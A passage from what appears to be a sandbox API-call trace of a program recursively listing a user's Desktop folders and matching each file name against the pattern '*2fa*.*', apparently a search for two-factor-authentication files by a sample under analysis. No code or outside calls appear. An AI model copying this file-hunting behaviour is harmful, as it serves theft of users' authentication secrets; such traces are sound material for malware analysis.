nFileSizeLow=0x164e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9sPEz ZVnQg tF9.flv", cAlternateFileName="9SPEZZ~1.FLV")) returned 1 [0146.704] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.704] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.704] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="9sPEz ZVnQg tF9.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv" [0146.704] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.704] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.705] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="9sPEz ZVnQg tF9.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv" [0146.705] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 78 [0146.705] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4e) returned 0x2362e60 [0146.705] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", cchWideChar=78, lpMultiByteStr=0x2362e60, cbMultiByte=78, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\9sPEz ZVnQg tF9.flv", lpUsedDefaultChar=0x0) returned 78 [0146.705] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362780 [0146.705] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e60 | out: hHeap=0x2360000) returned 1 [0146.705] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.705] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ac48 [0146.705] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236ac48, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.705] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac48 | out: hHeap=0x2360000) returned 1 [0146.705] PathMatchSpecW (pszFile="9sPEz ZVnQg tF9.flv", pszSpec="*2fa*.*") returned 0 [0146.705] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362780 | out: hHeap=0x2360000) returned 1 [0146.705] FindNextFileW (in: hFindFile=0x882cb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16675c0, ftCreationTime.dwHighDateTime=0x1d7aa93, ftLastAccessTime.dwLowDateTime=0xa2d48a40, ftLastAccessTime.dwHighDateTime=0x1d7ad3c, ftLastWriteTime.dwLowDateTime=0xa2d48a40, ftLastWriteTime.dwHighDateTime=0x1d7ad3c, nFileSizeHigh=0x0, nFileSizeLow=0x12a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JRz_Phqes8VP1D0jG57.wav", cAlternateFileName="JRZ_PH~1.WAV")) returned 1 [0146.705] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.705] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.705] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="JRz_Phqes8VP1D0jG57.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav" [0146.705] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ" [0146.706] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\" [0146.706] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\", lpString2="JRz_Phqes8VP1D0jG57.wav" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav") returned="\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav" [0146.706] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xb0) returned 0x23604a0 [0146.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 82 [0146.706] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x52) returned 0x23611c0 [0146.706] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", cchWideChar=82, lpMultiByteStr=0x23611c0, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ\\JRz_Phqes8VP1D0jG57.wav", lpUsedDefaultChar=0x0) returned 82 [0146.706] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x60) returned 0x2361220 [0146.706] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0146.706] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.706] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236ab88 [0146.706] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236ab88, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.706] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab88 | out: hHeap=0x2360000) returned 1 [0146.706] PathMatchSpecW (pszFile="JRz_Phqes8VP1D0jG57.wav", pszSpec="*2fa*.*") returned 0 [0146.706] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361220 | out: hHeap=0x2360000) returned 1 [0146.706] FindNextFileW (in: hFindFile=0x882cb0, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa16675c0, ftCreationTime.dwHighDateTime=0x1d7aa93, ftLastAccessTime.dwLowDateTime=0xa2d48a40, ftLastAccessTime.dwHighDateTime=0x1d7ad3c, ftLastWriteTime.dwLowDateTime=0xa2d48a40, ftLastWriteTime.dwHighDateTime=0x1d7ad3c, nFileSizeHigh=0x0, nFileSizeLow=0x12a9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JRz_Phqes8VP1D0jG57.wav", cAlternateFileName="JRZ_PH~1.WAV")) returned 0 [0146.707] FindClose (in: hFindFile=0x882cb0 | out: hFindFile=0x882cb0) returned 1 [0146.707] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x23604a0 [0146.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 58 [0146.707] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x3a) returned 0x32ba588 [0146.707] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", cchWideChar=58, lpMultiByteStr=0x32ba588, cbMultiByte=58, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\0bJmFQ", lpUsedDefaultChar=0x0) returned 58 [0146.707] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba810 [0146.707] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba588 | out: hHeap=0x2360000) returned 1 [0146.707] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.707] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236abb8 [0146.707] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=8, lpWideCharStr=0x236abb8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.707] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0146.707] PathMatchSpecW (pszFile="0bJmFQ", pszSpec="*2fa*.*") returned 0 [0146.707] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba810 | out: hHeap=0x2360000) returned 1 [0146.707] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Nmr4xl", cAlternateFileName="")) returned 1 [0146.707] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.707] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.707] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.708] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.708] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.708] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.708] lstrcmpW (lpString1="2Nmr4xl", lpString2=".") returned 1 [0146.708] lstrcmpW (lpString1="2Nmr4xl", lpString2="..") returned 1 [0146.708] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.708] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*" [0146.708] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882b30 [0146.708] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.708] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.708] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\." [0146.723] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.723] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.723] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\." [0146.723] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.723] FindNextFileW (in: hFindFile=0x882b30, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9c1d42c0, ftCreationTime.dwHighDateTime=0x1d7aa83, ftLastAccessTime.dwLowDateTime=0x1a65da40, ftLastAccessTime.dwHighDateTime=0x1d7aee7, ftLastWriteTime.dwLowDateTime=0x1a65da40, ftLastWriteTime.dwHighDateTime=0x1d7aee7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.724] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.724] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.724] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.." [0146.724] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.724] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.724] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\..") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\.." [0146.724] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.724] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.724] FindNextFileW (in: hFindFile=0x882b30, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94bd6e00, ftCreationTime.dwHighDateTime=0x1d7ae53, ftLastAccessTime.dwLowDateTime=0xe0aef760, ftLastAccessTime.dwHighDateTime=0x1d7af26, ftLastWriteTime.dwLowDateTime=0xe0aef760, ftLastWriteTime.dwHighDateTime=0x1d7af26, nFileSizeHigh=0x0, nFileSizeLow=0xa6db, dwReserved0=0x0, dwReserved1=0x0, cFileName="fXPI66EalGh71Cb.flv", cAlternateFileName="FXPI66~1.FLV")) returned 1 [0146.724] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.724] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.724] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="fXPI66EalGh71Cb.flv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv" [0146.724] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" [0146.724] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\" [0146.724] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\", lpString2="fXPI66EalGh71Cb.flv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv") returned="\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv" [0146.724] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 79 [0146.725] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x4f) returned 0x2362c50 [0146.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", cchWideChar=79, lpMultiByteStr=0x2362c50, cbMultiByte=79, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl\\fXPI66EalGh71Cb.flv", lpUsedDefaultChar=0x0) returned 79 [0146.725] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362eb8 [0146.725] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362c50 | out: hHeap=0x2360000) returned 1 [0146.725] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0146.725] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x10) returned 0x236aaf8 [0146.725] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=8, lpWideCharStr=0x236aaf8, cchWideChar=8 | out: lpWideCharStr="*2fa*.*") returned 8 [0146.725] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236aaf8 | out: hHeap=0x2360000) returned 1 [0146.725] PathMatchSpecW (pszFile="fXPI66EalGh71Cb.flv", pszSpec="*2fa*.*") returned 0 [0146.725] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362eb8 | out: hHeap=0x2360000) returned 1 [0146.725] FindNextFileW (in: hFindFile=0x882b30, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3ad320, ftCreationTime.dwHighDateTime=0x1d7aac2, ftLastAccessTime.dwLowDateTime=0xe24a4030, ftLastAccessTime.dwHighDateTime=0x1d7aecb, ftLastWriteTime.dwLowDateTime=0xe24a4030, ftLastWriteTime.dwHighDateTime=0x1d7aecb, nFileSizeHigh=0x0, nFileSizeLow=0x6d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="nd1SYQH.wav", cAlternateFileName="")) returned 1 [0146.725] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\2Nmr4xl") 